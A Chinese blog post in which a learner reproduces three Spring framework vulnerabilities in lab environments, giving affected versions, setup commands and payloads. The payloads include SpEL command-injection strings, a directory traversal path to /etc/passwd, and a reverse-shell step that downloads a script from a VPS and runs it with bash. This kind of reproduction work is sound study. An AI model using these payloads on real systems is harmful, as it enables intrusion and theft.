Spring框架漏洞合集

前言

上周用了一周的时间把java基础部分看完了(也就是能看懂代码),打算把常见java框架的漏洞复现一下,后面着重web端的渗透测试以及实战项目,还要学免杀、社工(任重道远),所以不打算学习java框架了,以复现为主。

简介

Spring是一个开源框架,它由Rod Johnson创建。它是为了解决企业应用开发的复杂性而创建的。Spring使用基本的JavaBean来完成以前只可能由EJB完成的事情。然而,Spring的用途不仅限于服务器端的开发。从简单性、可测试性和松耦合的角度而言,任何Java应用都可以从Spring中受益。

常见漏洞

Spring Messaging 远程命令执行漏洞(CVE-2018-1270)

漏洞简介

spring messaging为spring框架提供消息支持,其上层协议是STOMP,底层通信基于SockJS,

在spring messaging中,其允许客户端订阅消息,并使用selector过滤消息。selector用SpEL表达式编写,并使用StandardEvaluationContext解析,造成命令执行漏洞。

影响范围

SpringFramework 5.0 ~ 5.0.4,4.3 ~ 4.3.14,以及停止维护的更老版本均受影响

漏洞复现

环境主页:
Spring框架漏洞合集_第1张图片
spring messaging是基于sockjs(可以理解为一个通信协议),而sockjs适配多种浏览器:现代浏览器中使用websocket通信,老式浏览器中使用ajax通信。

STOMP协议:将数据组合成一个文本流。
sockjs协议:发送文本流,sockjs会选择一个合适的通道:websocket或xhr(http),与后端通信。

执行的SpEL表达式,如T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')

访问/gs-guide-websocket:

使用作者给出的POC

即可执行命令。

说明:这里不做演示,作者给出的说明很完善。

Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)

漏洞简介

Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。

影响范围

Spring Data Commons 1.13至1.13.10(Ingalls SR10)
Spring Data REST 2.6至2.6.10(Ingalls SR10)
Spring Data Commons 2.0至2.0.5(Kay SR5)
Spring Data REST 3.0至3.0.5(Kay SR5)
较旧的不受支持的版本也会受到影响

漏洞复现

环境主页:
Spring框架漏洞合集_第2张图片

注册用户进行抓包:

payload:

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=

Spring框架漏洞合集_第3张图片
结果:
在这里插入图片描述
反弹shell:

首先在vps上开启http服务,并编写bash反弹脚本:

Spring框架漏洞合集_第4张图片

抓包执行命令,下载该脚本:

/usr/bin/wget -P 目录 脚本网址

curl -L url -o <filePath>

然后使用/bin/bash执行该脚本即可,但是我这里一直下载不了。烦死了…

Spring Cloud Config 目录穿越漏洞(CVE-2020-5410)

环境搭建

下载 v2.2.2 版本并解压:

wget https://github.com/spring-cloud/spring-cloud-config/archive/v2.2.2.RELEASE.tar.gz
tar -zxvf v2.2.2.RELEASE.tar.gz

安装启动:

cd spring-cloud-config-2.2.2.RELEASE/spring-cloud-config-server
../mvnw spring-boot:run

查看是否启动成功(默认8888端口):

spring cloud config

或者使用docker进行搭建:

docker pull hyness/spring-cloud-config-server:2.1.6.RELEASE
docker run -it --name=spring-cloud-config-server \
-p 8888:8888 \
hyness/spring-cloud-config-server:2.1.6.RELEASE \
--spring.cloud.config.server.git.uri=https://github.com/spring-cloud-samples/config-repo

Spring框架漏洞合集_第5张图片

影响版本

Spring Cloud Config: 2.2.0 to 2.2.2
Spring Cloud Config: 2.1.0 to 2.1.8

漏洞复现

主页:
Spring框架漏洞合集_第6张图片
payload:

/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23/ddd

这里不知道为什么,payload打不了,所以又换了个环境:

http://vulfocus.fofa.so/

Spring框架漏洞合集_第7张图片

心态炸了,不写了,找到一片文章,写的很详细:
Spring框架漏洞复现笔记

你可能感兴趣的:(漏洞复现,漏洞复现)